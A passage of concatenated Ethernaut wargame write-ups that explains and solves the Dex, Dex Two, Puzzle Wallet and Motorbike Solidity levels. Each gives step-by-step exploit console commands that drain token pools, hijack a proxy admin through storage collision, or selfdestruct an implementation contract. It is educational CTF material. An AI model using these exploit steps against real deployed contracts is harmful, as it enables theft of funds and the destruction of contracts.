| ## Hack 10 | 11 | Given contract: 12 | ```solidity 13 | // SPDX-License-Identifier: MIT 14 | pragma solidity ^0.6.0; 15 | 16 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 17 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 18 | import '@openzeppelin/contracts/math/SafeMath.sol'; 19 | 20 | contract Dex { 21 | using SafeMath for uint; 22 | address public token1; 23 | address public token2; 24 | constructor(address _token1, address _token2) public { 25 | token1 = _token1; 26 | token2 = _token2; 27 | } 28 | 29 | function swap(address from, address to, uint amount) public { 30 | require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); 31 | require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); 32 | uint swap_amount = get_swap_price(from, to, amount); 33 | IERC20(from).transferFrom(msg.sender, address(this), amount); 34 | IERC20(to).approve(address(this), swap_amount); 35 | IERC20(to).transferFrom(address(this), msg.sender, swap_amount); 36 | } 37 | 38 | function add_liquidity(address token_address, uint amount) public{ 39 | IERC20(token_address).transferFrom(msg.sender, address(this), amount); 40 | } 41 | 42 | function get_swap_price(address from, address to, uint amount) public view returns(uint){ 43 | return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); 44 | } 45 | 46 | function approve(address spender, uint amount) public { 47 | SwappableToken(token1).approve(spender, amount); 48 | SwappableToken(token2).approve(spender, amount); 49 | } 50 | 51 | function balanceOf(address token, address account) public view returns (uint){ 52 | return IERC20(token).balanceOf(account); 53 | } 54 | } 55 | 56 | contract SwappableToken is ERC20 { 57 | constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) { 58 | _mint(msg.sender, initialSupply); 59 | } 60 | } 61 | ``` 62 | 63 | `player` has to drain all of at least one of the two tokens - `token1` and `token2` from the contract. 64 | 65 | The vulnerability originates from `get_swap_price` method which determines the exchange rate between tokens in the Dex. The division in it won't always calculate to a perfect integer, but a fraction. And there is no fraction types in Solidity. Instead, _division rounds towards zero._ according to docs. For example, `3 / 2 = 1` in solidity. 66 | 67 | We're going to swap all of our `token1` for `token2`. Then swap all our `token2` to obtain `token1`, then swap all our `token1` for `token2` and so on. 68 | 69 | Here's how the price history & balances would go. Initially, 70 | ``` 71 | DEX | player 72 | token1 - token2 | token1 - token2 73 | ---------------------------------- 74 | 100 100 | 10 10 75 | ``` 76 | 77 | 78 | After swapping all of `token1`: 79 | ``` 80 | DEX | player 81 | token1 - token2 | token1 - token2 82 | ---------------------------------- 83 | 100 100 | 10 10 84 | 110 90 | 0 20 85 | ``` 86 | 87 | Note that at this point exchange rate is adjusted. Now, exchanging 20 `token2` should give `20 * 110 / 90 = 24.44..`. But since division results in integer we get 24 `token2`. Price adjusts again. Swap again. 88 | ``` 89 | DEX | player 90 | token1 - token2 | token1 - token2 91 | ---------------------------------- 92 | 100 100 | 10 10 93 | 110 90 | 0 20 94 | 86 110 | 24 0 95 | ``` 96 | 97 | Notice that on each swap we get more of `token1` or `token2` than held before previous swap. This is due to the inaccuracy of price calculation in `get_swap_price` method. 98 | 99 | Keep swapping and we'll get: 100 | ``` 101 | DEX | player 102 | token1 - token2 | token1 - token2 103 | ---------------------------------- 104 | 100 100 | 10 10 105 | 110 90 | 0 20 106 | 86 110 | 24 0 107 | 110 80 | 0 30 108 | 69 110 | 41 0 109 | 110 45 | 0 65 110 | ``` 111 | 112 | Now, at the last swap above we've gotten hold of 65 `token2`, which is more than enough to drain all of 110 `token1`! By simple calculation, only 45 of `token2` is required to get all 110 of `token1`. 113 | 114 | ``` 115 | DEX | player 116 | token1 - token2 | token1 - token2 117 | ---------------------------------- 118 | 100 100 | 10 10 119 | 110 90 | 0 20 120 | 86 110 | 24 0 121 | 110 80 | 0 30 122 | 69 110 | 41 0 123 | 110 45 | 0 65 124 | 0 90 | 110 20 125 | ``` 126 | 127 | Jump into console. First approve the contract to transfer your tokens with a big enough allowance so that we don't have to approve again & again. Allowance of 500 should be more than enough: 128 | ```javascript 129 | await contract.approve(contract.address, 500) 130 | ``` 131 | Get token addresses: 132 | ```javascript 133 | t1 = await contract.token1() 134 | t2 = await contract.token2() 135 | ``` 136 | 137 | Now perform 7 swaps corresponding to the table rows above one by one: 138 | ```javascript 139 | await contract.swap(t1, t2, 10) 140 | await contract.swap(t2, t1, 20) 141 | await contract.swap(t1, t2, 24) 142 | await contract.swap(t2, t1, 30) 143 | await contract.swap(t1, t2, 41) 144 | await contract.swap(t2, t1, 45) 145 | ``` 146 | 147 | `token1` is drained! Verify by: 148 | ```javascript 149 | await contract.balanceOf(t1, instance).then(v => v.toString()) 150 | 151 | // Output: '0' 152 | ``` 153 | This is it! 154 | 155 | 156 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 157 | 158 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 159 | 160 | -------------------------------------------------------------------------------- /level_23_Dex-Two.md: -------------------------------------------------------------------------------- 1 | # Level 23: Dex 2 | 3 | This is the level 23 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - [ERC20 Token Standard](https://eips.ethereum.org/EIPS/eip-20) 7 | 8 | ## Hack 9 | 10 | Given contract: 11 | ```solidity 12 | contract DexTwo { 13 | using SafeMath for uint; 14 | address public token1; 15 | address public token2; 16 | constructor(address _token1, address _token2) public { 17 | token1 = _token1; 18 | token2 = _token2; 19 | } 20 | 21 | function swap(address from, address to, uint amount) public { 22 | require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); 23 | uint swap_amount = get_swap_amount(from, to, amount); 24 | IERC20(from).transferFrom(msg.sender, address(this), amount); 25 | IERC20(to).approve(address(this), swap_amount); 26 | IERC20(to).transferFrom(address(this), msg.sender, swap_amount); 27 | } 28 | 29 | function add_liquidity(address token_address, uint amount) public{ 30 | IERC20(token_address).transferFrom(msg.sender, address(this), amount); 31 | } 32 | 33 | function get_swap_amount(address from, address to, uint amount) public view returns(uint){ 34 | return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); 35 | } 36 | 37 | function approve(address spender, uint amount) public { 38 | SwappableTokenTwo(token1).approve(spender, amount); 39 | SwappableTokenTwo(token2).approve(spender, amount); 40 | } 41 | 42 | function balanceOf(address token, address account) public view returns (uint){ 43 | return IERC20(token).balanceOf(account); 44 | } 45 | } 46 | 47 | contract SwappableTokenTwo is ERC20 { 48 | constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) { 49 | _mint(msg.sender, initialSupply); 50 | } 51 | } 52 | ``` 53 | 54 | `player` has to drain all of `token1` and `token2`. 55 | 56 | The vulnerability here arises from `swap` method which does not check that the swap is necessarily between `token1` and `token2`. We'll exploit this. 57 | 58 | Let's deploy a token - `EvilToken` in Remix, with initial supply of 400, all given to `msg.sender` which would be the `player`: 59 | ```solidity 60 | // SPDX-License-Identifier: MIT 61 | pragma solidity ^0.8.0; 62 | 63 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 64 | 65 | contract EvilToken is ERC20 { 66 | constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") { 67 | _mint(msg.sender, initialSupply); 68 | } 69 | } 70 | ``` 71 | We're going to exchange `EVL` token for `token1` and `token2` in such a way to drain both from `DexTwo`. Initially both `token1` and `token2` is 100. Let's send 100 of `EVL` to `DexTwo` using `EvilToken`'s `transfer`. So, that price ratio in `DexTwo` between `EVL` and `token1` is 1:1. Same ratio goes for `token2`. 72 | 73 | Also, allow `DexTwo` to transact 300 (100 for `token1` and 200 for `token2` exchange) of our `EVL` tokens so that it can swap `EVL` tokens. This can be done by `approve` method of `EvilToken`, passing `contract.address` and `200` as params. 74 | 75 | Alright at this point `DexTwo` has 100 of each - `token1`, `token2` and `EVL`. And `player` has 300 of `EVL`. 76 | ``` 77 | DEX | player 78 | token1 - token2 - EVL | token1 - token2 - EVL 79 | --------------------------------------------- 80 | 100 100 100 | 10 10 300 81 | ``` 82 | 83 | Get token addresses: 84 | ```javascript 85 | evlToken = '' 86 | t1 = await contract.token1() 87 | t2 = await contract.token2() 88 | ``` 89 | 90 | Swap 100 of `player`'s `EVL` with `token1`: 91 | ```javascript 92 | await contract.swap(evlToken, t1, 100) 93 | ``` 94 | 95 | This would drain all of `token1` from `DexTwo`. Verify by: 96 | ```javascript 97 | await contract.balanceOf(t1, instance).then(v => v.toString()) 98 | 99 | // Output: '0' 100 | ``` 101 | 102 | Updated balances: 103 | ``` 104 | DEX | player 105 | token1 - token2 - EVL | token1 - token2 - EVL 106 | --------------------------------------------- 107 | 100 100 100 | 10 10 300 108 | 0 100 200 | 110 10 200 109 | ``` 110 | 111 | Now, according to `get_swap_amount` method, to get all 100 of `token2` in exchange we need 200 of `EVL`. Swap accordingly: 112 | ```javascript 113 | await contract.swap(evlToken, t2, 200) 114 | ``` 115 | 116 | And `token2` is drained too! Verify by: 117 | ```javascript 118 | await contract.balanceOf(t2, instance).then(v => v.toString()) 119 | 120 | // Output: '0' 121 | ``` 122 | 123 | Finally: 124 | ``` 125 | DEX | player 126 | token1 - token2 - EVL | token1 - token2 - EVL 127 | --------------------------------------------- 128 | 100 100 100 | 10 10 300 129 | 0 100 200 | 110 10 200 130 | 0 0 400 | 110 110 0 131 | ``` 132 | 133 | 134 | Level passed! 135 | 136 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 137 | 138 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 139 | 140 | -------------------------------------------------------------------------------- /level_24_Puzzle-Wallet.md: -------------------------------------------------------------------------------- 1 | # Level 24: Puzzle Wallet 2 | 3 | This is the level 24 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - [delegatecall](https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how) in Solidity 7 | - [Proxy Patterns](https://blog.openzeppelin.com/proxy-patterns/) 8 | 9 | ## Hack 10 | 11 | Given contracts: 12 | ```solidity 13 | // SPDX-License-Identifier: MIT 14 | pragma solidity ^0.6.0; 15 | pragma experimental ABIEncoderV2; 16 | 17 | import "@openzeppelin/contracts/math/SafeMath.sol"; 18 | import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol"; 19 | 20 | contract PuzzleProxy is UpgradeableProxy { 21 | address public pendingAdmin; 22 | address public admin; 23 | 24 | constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public { 25 | admin = _admin; 26 | } 27 | 28 | modifier onlyAdmin { 29 | require(msg.sender == admin, "Caller is not the admin"); 30 | _; 31 | } 32 | 33 | function proposeNewAdmin(address _newAdmin) external { 34 | pendingAdmin = _newAdmin; 35 | } 36 | 37 | function approveNewAdmin(address _expectedAdmin) external onlyAdmin { 38 | require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin"); 39 | admin = pendingAdmin; 40 | } 41 | 42 | function upgradeTo(address _newImplementation) external onlyAdmin { 43 | _upgradeTo(_newImplementation); 44 | } 45 | } 46 | 47 | contract PuzzleWallet { 48 | using SafeMath for uint256; 49 | address public owner; 50 | uint256 public maxBalance; 51 | mapping(address => bool) public whitelisted; 52 | mapping(address => uint256) public balances; 53 | 54 | function init(uint256 _maxBalance) public { 55 | require(maxBalance == 0, "Already initialized"); 56 | maxBalance = _maxBalance; 57 | owner = msg.sender; 58 | } 59 | 60 | modifier onlyWhitelisted { 61 | require(whitelisted[msg.sender], "Not whitelisted"); 62 | _; 63 | } 64 | 65 | function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { 66 | require(address(this).balance == 0, "Contract balance is not 0"); 67 | maxBalance = _maxBalance; 68 | } 69 | 70 | function addToWhitelist(address addr) external { 71 | require(msg.sender == owner, "Not the owner"); 72 | whitelisted[addr] = true; 73 | } 74 | 75 | function deposit() external payable onlyWhitelisted { 76 | require(address(this).balance <= maxBalance, "Max balance reached"); 77 | balances[msg.sender] = balances[msg.sender].add(msg.value); 78 | } 79 | 80 | function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { 81 | require(balances[msg.sender] >= value, "Insufficient balance"); 82 | balances[msg.sender] = balances[msg.sender].sub(value); 83 | (bool success, ) = to.call{ value: value }(data); 84 | require(success, "Execution failed"); 85 | } 86 | 87 | function multicall(bytes[] calldata data) external payable onlyWhitelisted { 88 | bool depositCalled = false; 89 | for (uint256 i = 0; i < data.length; i++) { 90 | bytes memory _data = data[i]; 91 | bytes4 selector; 92 | assembly { 93 | selector := mload(add(_data, 32)) 94 | } 95 | if (selector == this.deposit.selector) { 96 | require(!depositCalled, "Deposit can only be called once"); 97 | // Protect against reusing msg.value 98 | depositCalled = true; 99 | } 100 | (bool success, ) = address(this).delegatecall(data[i]); 101 | require(success, "Error while delegating call"); 102 | } 103 | } 104 | } 105 | ``` 106 | `player` has to hijack the proxy contract, `PuzzleProxy` by becoming `admin`. 107 | 108 | The vulnerability here arises due to **storage collision** between the proxy contract (`PuzzleProxy`) and logic contract (`PuzzleWallet`). And storage collision is a nightmare when using `delegatecall`. Let's bring this nightmare to reality. 109 | 110 | Note that in proxy pattern any call/transaction sent does not directly go to the logic contract (`PuzzleWallet` here), but it is actually **delegated** to logic contract inside proxy contract (`PuzzleProxy` here) through `delegatecall` method. 111 | 112 | Since, `delegatecall` is context preserving, the context is taken from `PuzzleProxy`. Meaning, any state read or write in storage would happen in `PuzzleProxy` at a corresponding slot, instead of `PuzzleWallet`. 113 | 114 | Compare the storage variables at slots: 115 | ``` 116 | slot | PuzzleWallet - PuzzleProxy 117 | ---------------------------------- 118 | 0 | owner <- pendingAdmin 119 | 1 | maxBalance <- admin 120 | 2 | . 121 | 3 | . 122 | ``` 123 | Accordingly, any write to `pendingAdmin` in `PuzzleProxy` would be reflected by `owner` in `PuzzleWallet` because they are at same storage slot, 0! 124 | 125 | And that means if we set `pendingAdmin` to `player` in `PuzzleProxy` (through `proposeNewAdmin` method), `player` is automatically `owner` in `PuzzleWallet`! That's exactly what we'll do. Although `contract` instance provided `web3js` API, doesn't expose the `proposeNewAdmin` method, we can alway encode signature of function call and send transaction to the contract: 126 | 127 | ```javascript 128 | functionSignature = { 129 | name: 'proposeNewAdmin', 130 | type: 'function', 131 | inputs: [ 132 | { 133 | type: 'address', 134 | name: '_newAdmin' 135 | } 136 | ] 137 | } 138 | 139 | params = [player] 140 | 141 | data = web3.eth.abi.encodeFunctionCall(functionSignature, params) 142 | 143 | await web3.eth.sendTransaction({from: player, to: instance, data}) 144 | ``` 145 | `player` is now `owner`. Verify by: 146 | ```javascript 147 | await contract.owner() === player 148 | 149 | // Output: true 150 | ``` 151 | 152 | Now, since we're `owner` let's whitelist us, `player`: 153 | ```javascript 154 | await contract.addToWhitelist(player) 155 | ``` 156 | 157 | Okay, so now `player` can call `onlyWhitelisted` guarded methods. 158 | 159 | Also, note from the storage slot table above that `admin` and `maxBalance` also correspond to same slot (slot 1). We can write to `admin` if in some way we can write to `maxBalance` the address of `player`. 160 | 161 | Two methods alter `maxBalance` - `init` and `setMaxBalance`. `init` shows no hope as it `require`s current `maxBalance` value to be zero. So, let's focus on `setMaxBalance`. 162 | 163 | `setMaxBalance` can only set new `maxBalance` only if the contract's balance is 0. Check balance: 164 | ```javascript 165 | await getBalance(contract.address) 166 | 167 | // Output: 0.001 168 | ``` 169 | Bad luck! It's non-zero. Can we somehow take out the contract's balance? Only method that does so, is `execute`, but contract tracks each user's balance through `balances` such that you can only withdraw what you deposited. We need some way to crack the contract's accounting mechanism so that we can withdraw more than deposited and hence drain contract's balance. 170 | 171 | A possible way is to somehow call `deposit` with same `msg.value` _multiple_ times within the same transaction. Hmmm...the developers of this contract did write logic to batch multiple transactions into one transaction to save gas costs. And this is what `multicall` method is for. Maybe we can exploit it? 172 | 173 | But wait! `multicall` actually extracts function selector (which is first 4 bytes from signature) from the data and makes sure that `deposit` is called only once per transaction! 174 | ```solidity 175 | assembly { 176 | selector := mload(add(_data, 32)) 177 | } 178 | if (selector == this.deposit.selector) { 179 | require(!depositCalled, "Deposit can only be called once"); 180 | // Protect against reusing msg.value 181 | depositCalled = true; 182 | } 183 | ``` 184 | 185 | We need another way. Think deeper...we can only call `deposit` only once in a `multicall`...but what if call a `multicall` that calls multiple `multicall`s and each of these `multicall`s call `deposit` once...aha! That'd be totally valid since each of these multiple `multicall`s will check their own separate `depositCalled` bools. 186 | 187 | The contract balance currently is `0.001 eth`. If we're able to call `deposit` two times through two `multicall`s in same transaction. The `balances[player]` would be registered from `0 eth` to `0.002 eth`, but in reality only `0.001 eth` will be actually sent! Hence total balance of contract is in reality `0.002 eth` but accounting in `balances` would think it's `0.003 eth`. Anyway, `player` is now eligible to take out `0.002 eth` from contract and drain it as a result. Let's begin. 188 | 189 | Here's our call _inception_ (calls within calls within call!) 190 | ``` 191 | multicall 192 | | 193 | ----------------- 194 | | | 195 | multicall multicall 196 | | | 197 | deposit deposit 198 | 199 | ``` 200 | Get function call encodings: 201 | ```javascript 202 | // deposit() method 203 | depositData = await contract.methods["deposit()"].request().then(v => v.data) 204 | 205 | // multicall() method with param of deposit function call signature 206 | multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data) 207 | ``` 208 | 209 | Now we call `multicall` which will call two `multicalls` and each of these two will call `deposit` once each. Send value of `0.001 eth` with transaction: 210 | ```javascript 211 | await contract.multicall([multicallData, multicallData], {value: toWei('0.001')}) 212 | ``` 213 | 214 | `player` balance now must be `0.001 eth * 2` i.e. `0.002 eth`. Which is equal to contract's total balance at this time. 215 | 216 | Withdraw same amount by `execute`: 217 | ```javascript 218 | await contract.execute(player, toWei('0.002'), 0x0) 219 | ``` 220 | 221 | By now, contract's balance must be zero. Verify: 222 | ```javascript 223 | await getBalance(contract.address) 224 | 225 | // Output: '0' 226 | ``` 227 | 228 | Finally we can call `setMaxBalance` to set `maxBalance` and as a consequence of storage collision, set admin to `player`: 229 | ```javascript 230 | await contract.setMaxBalance(player) 231 | ``` 232 | 233 | Bang! Wallet is hijacked! 234 | 235 | 236 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 237 | 238 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 239 | 240 | -------------------------------------------------------------------------------- /level_25_Motorbike.md: -------------------------------------------------------------------------------- 1 | # Level 25: Motorbike 2 | 3 | This is the level 24 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - [delegatecall](https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how) in Solidity 7 | - [selfdestruct](https://docs.soliditylang.org/en/v0.6.0/units-and-global-variables.html#contract-related) function in Solidity 8 | - [Proxy Patterns](https://blog.openzeppelin.com/proxy-patterns/) 9 | - [UUPS Proxies](https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786) 10 | - [OpenZeppelin Proxies](https://docs.openzeppelin.com/contracts/4.x/api/proxy) 11 | - [Initializable](https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol) contract 12 | 13 | ## Hack 14 | 15 | Given contracts: 16 | ```solidity 17 | 18 | // SPDX-License-Identifier: MIT 19 | 20 | pragma solidity <0.7.0; 21 | 22 | import "@openzeppelin/contracts/utils/Address.sol"; 23 | import "@openzeppelin/contracts/proxy/Initializable.sol"; 24 | 25 | contract Motorbike { 26 | // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 27 | bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; 28 | 29 | struct AddressSlot { 30 | address value; 31 | } 32 | 33 | // Initializes the upgradeable proxy with an initial implementation specified by `_logic`. 34 | constructor(address _logic) public { 35 | require(Address.isContract(_logic), "ERC1967: new implementation is not a contract"); 36 | _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic; 37 | (bool success,) = _logic.delegatecall( 38 | abi.encodeWithSignature("initialize()") 39 | ); 40 | require(success, "Call failed"); 41 | } 42 | 43 | // Delegates the current call to `implementation`. 44 | function _delegate(address implementation) internal virtual { 45 | // solhint-disable-next-line no-inline-assembly 46 | assembly { 47 | calldatacopy(0, 0, calldatasize()) 48 | let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) 49 | returndatacopy(0, 0, returndatasize()) 50 | switch result 51 | case 0 { revert(0, returndatasize()) } 52 | default { return(0, returndatasize()) } 53 | } 54 | } 55 | 56 | // Fallback function that delegates calls to the address returned by `_implementation()`. 57 | // Will run if no other function in the contract matches the call data 58 | fallback () external payable virtual { 59 | _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); 60 | } 61 | 62 | // Returns an `AddressSlot` with member `value` located at `slot`. 63 | function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { 64 | assembly { 65 | r_slot := slot 66 | } 67 | } 68 | } 69 | 70 | contract Engine is Initializable { 71 | // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 72 | bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; 73 | 74 | address public upgrader; 75 | uint256 public horsePower; 76 | 77 | struct AddressSlot { 78 | address value; 79 | } 80 | 81 | function initialize() external initializer { 82 | horsePower = 1000; 83 | upgrader = msg.sender; 84 | } 85 | 86 | // Upgrade the implementation of the proxy to `newImplementation` 87 | // subsequently execute the function call 88 | function upgradeToAndCall(address newImplementation, bytes memory data) external payable { 89 | _authorizeUpgrade(); 90 | _upgradeToAndCall(newImplementation, data); 91 | } 92 | 93 | // Restrict to upgrader role 94 | function _authorizeUpgrade() internal view { 95 | require(msg.sender == upgrader, "Can't upgrade"); 96 | } 97 | 98 | // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. 99 | function _upgradeToAndCall( 100 | address newImplementation, 101 | bytes memory data 102 | ) internal { 103 | // Initial upgrade and setup call 104 | _setImplementation(newImplementation); 105 | if (data.length > 0) { 106 | (bool success,) = newImplementation.delegatecall(data); 107 | require(success, "Call failed"); 108 | } 109 | } 110 | 111 | // Stores a new address in the EIP1967 implementation slot. 112 | function _setImplementation(address newImplementation) private { 113 | require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); 114 | 115 | AddressSlot storage r; 116 | assembly { 117 | r_slot := _IMPLEMENTATION_SLOT 118 | } 119 | r.value = newImplementation; 120 | } 121 | } 122 | ``` 123 | 124 | `player` has to make the proxy (`Motorbike`) unusable by destroying the implementation/logic contract (`Engine`) through `selfdestruct`. 125 | 126 | As you can see current `Engine` implementation has no `selfdestruct` logic anywhere. So, we can't call `selfdestruct` with current implementation anyway. But, since it is a logic/implementation contract of proxy pattern, it can be upgraded to a new contract that has the `selfdestruct` in it. 127 | 128 | `upgradeToAndCall` method is at our disposal for upgrading to a new contract address, but it has an authorization check such that only the `upgrader` address can call it. So, `player` has to somehow take over as `upgrader`. 129 | 130 | The key thing to keep in mind here is that any storage variables defined in the logic contract i.e. `Engine` is actually stored in the proxy's (`Motorbike`'s) storage and not actually `Engine`. Proxy is the storage layer here which delegates _only_ the logic to logic/implementation contract (logic layer). 131 | 132 | What if we did try to write and read in the context of `Engine` directly, instead of going through proxy? We'll need address of `Engine` first. This address is at storage slot `_IMPLEMENTATION_SLOT` of `Motorbike`. Let's read it: 133 | 134 | ```javascript 135 | implAddr = await web3.eth.getStorageAt(contract.address, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc') 136 | 137 | // Output: '0x000000000000000000000000<20-byte-implementation-contract-address>' 138 | ``` 139 | This yields a 32 byte value (each slot is 32 byte). Remove padding of `0`s to get 20 byte `address`: 140 | ```javascript 141 | implAddr = '0x' + implAddr.slice(-40) 142 | 143 | // Output: '0x<20-byte-implementation-contract-address>' 144 | ``` 145 | 146 | Now, if we sent a transaction directly to `initialize` of `Engine` rather than going through proxy, the code will run in `Engine`'s context rather than proxy's. That means the storage variables - `initialized`, `initializing` (inherited from `Initializable`), `upgrader` etc. will be read from `Engine`'s storage slots. And these variables will most likely will contain their default values - `false`, `false`, `0x0` respectively because `Engine` was supposed to be only the logic layer, not storage. 147 | And since `initialized` will be equal to `false` (default for `bool`) in context of `Engine` the `initializer` modifier on `initialize` method will pass! 148 | 149 | Call the `initialize` at `Engine`'s address i.e. at `implAddr`: 150 | ```javascript 151 | initializeData = web3.eth.abi.encodeFunctionSignature("initialize()") 152 | 153 | await web3.eth.sendTransaction({ from: player, to: implAddr, data: initializeData }) 154 | ``` 155 | 156 | Alright, invoking `initialize` method must've now set `player` as `upgrader`. Verify by: 157 | ```javascript 158 | upgraderData = web3.eth.abi.encodeFunctionSignature("upgrader()") 159 | 160 | await web3.eth.call({from: player, to: implAddr, data: upgraderSig}).then(v => '0x' + v.slice(-40).toLowerCase()) === player.toLowerCase() 161 | 162 | // Output: true 163 | ``` 164 | 165 | So, `player` is now eligible to upgrade the implementation contract now through `upgradeToAndCall` method. Let's create the following malicious contract - `BombEngine` in Remix: 166 | ```solidity 167 | // SPDX-License-Identifier: MIT 168 | pragma solidity <0.7.0; 169 | 170 | contract BombEngine { 171 | function explode() public { 172 | selfdestruct(address(0)); 173 | } 174 | } 175 | ``` 176 | Deploy `BombEngine` (on same network) and copy it's address. 177 | 178 | If we set the new implementation through `upgradeToAndCall`, passing `BombEngine` address and encoding of it's `explode` method as params, the existing `Engine` would destroy itself. This is because `_upgradeToAndCall` delegates a call to the given new implementation address with provided `data` param. And since `delegatecall` is context preserving, the `selfdestruct` of `explode` method would run in context of `Engine`. Thus `Engine` is destroyed. 179 | 180 | Upgrade `Engine` to `BombEngine`. First set up function data of `upgradeToAndCall` to call at `implAddress`: 181 | ```javascript 182 | bombAddr = '' 183 | explodeData = web3.eth.abi.encodeFunctionSignature("explode()") 184 | 185 | upgradeSignature = { 186 | name: 'upgradeToAndCall', 187 | type: 'function', 188 | inputs: [ 189 | { 190 | type: 'address', 191 | name: 'newImplementation' 192 | }, 193 | { 194 | type: 'bytes', 195 | name: 'data' 196 | } 197 | ] 198 | } 199 | 200 | upgradeParams = [bombAddr, explodeData] 201 | 202 | upgradeData = web3.eth.abi.encodeFunctionCall(upgradeSignature, upgradeParams) 203 | ``` 204 | 205 | Now call `upgradeToAndCall` at `implAddr`: 206 | ```javascript 207 | await web3.eth.sendTransaction({from: player, to: implAddr, data: upgradeData}) 208 | ``` 209 | 210 | Boom! The `Engine` is destroyed! The `Motorbike` is now useless. `Motorbike` cannot even be repaired now because all the upgrade logic was in the logic contract which is now destroyed. 211 | 212 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 213 | 214 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 215 | 216 | -------------------------------------------------------------------------------- /level_26_Double-Entry-Point.md: -------------------------------------------------------------------------------- 1 | # Level 26: Double Entry Point 2 | 3 | This is the level 26 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - [Contract ABI Specification](https://docs.soliditylang.org/en/latest/abi-spec.html#contract-abi-specification) 7 | 8 | ## Hack 9 | 10 | Given contracts: 11 | ```solidity 12 | // SPDX-License-Identifier: MIT 13 | pragma solidity ^0.6.0; 14 | 15 | import "@openzeppelin/contracts/access/Ownable.sol"; 16 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 17 | 18 | interface DelegateERC20 { 19 | function delegateTransfer(address to, uint256 value, address origSender) external returns (bool); 20 | } 21 | 22 | interface IDetectionBot { 23 | function handleTransaction(address user, bytes calldata msgData) external; 24 | } 25 | 26 | interface IForta { 27 | function setDetectionBot(address detectionBotAddress) external; 28 | function notify(address user, bytes calldata msgData) external; 29 | function raiseAlert(address user) external; 30 | } 31 | 32 | contract Forta is IForta { 33 | mapping(address => IDetectionBot) public usersDetectionBots; 34 | mapping(address => uint256) public botRaisedAlerts; 35 | 36 | function setDetectionBot(address detectionBotAddress) external override { 37 | require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set"); 38 | usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress); 39 | } 40 | 41 | function notify(address user, bytes calldata msgData) external override { 42 | if(address(usersDetectionBots[user]) == address(0)) return; 43 | try usersDetectionBots[user].handleTransaction(user, msgData) { 44 | return; 45 | } catch {} 46 | } 47 | 48 | function raiseAlert(address user) external override { 49 | if(address(usersDetectionBots[user]) != msg.sender) return; 50 | botRaisedAlerts[msg.sender] += 1; 51 | } 52 | } 53 | 54 | contract CryptoVault { 55 | address public sweptTokensRecipient; 56 | IERC20 public underlying; 57 | 58 | constructor(address recipient) public { 59 | sweptTokensRecipient = recipient; 60 | } 61 | 62 | function setUnderlying(address latestToken) public { 63 | require(address(underlying) == address(0), "Already set"); 64 | underlying = IERC20(latestToken); 65 | } 66 | 67 | /* 68 | ... 69 | */ 70 | 71 | function sweepToken(IERC20 token) public { 72 | require(token != underlying, "Can't transfer underlying token"); 73 | token.transfer(sweptTokensRecipient, token.balanceOf(address(this))); 74 | } 75 | } 76 | 77 | contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable { 78 | DelegateERC20 public delegate; 79 | 80 | function mint(address to, uint256 amount) public onlyOwner { 81 | _mint(to, amount); 82 | } 83 | 84 | function delegateToNewContract(DelegateERC20 newContract) public onlyOwner { 85 | delegate = newContract; 86 | } 87 | 88 | function transfer(address to, uint256 value) public override returns (bool) { 89 | if (address(delegate) == address(0)) { 90 | return 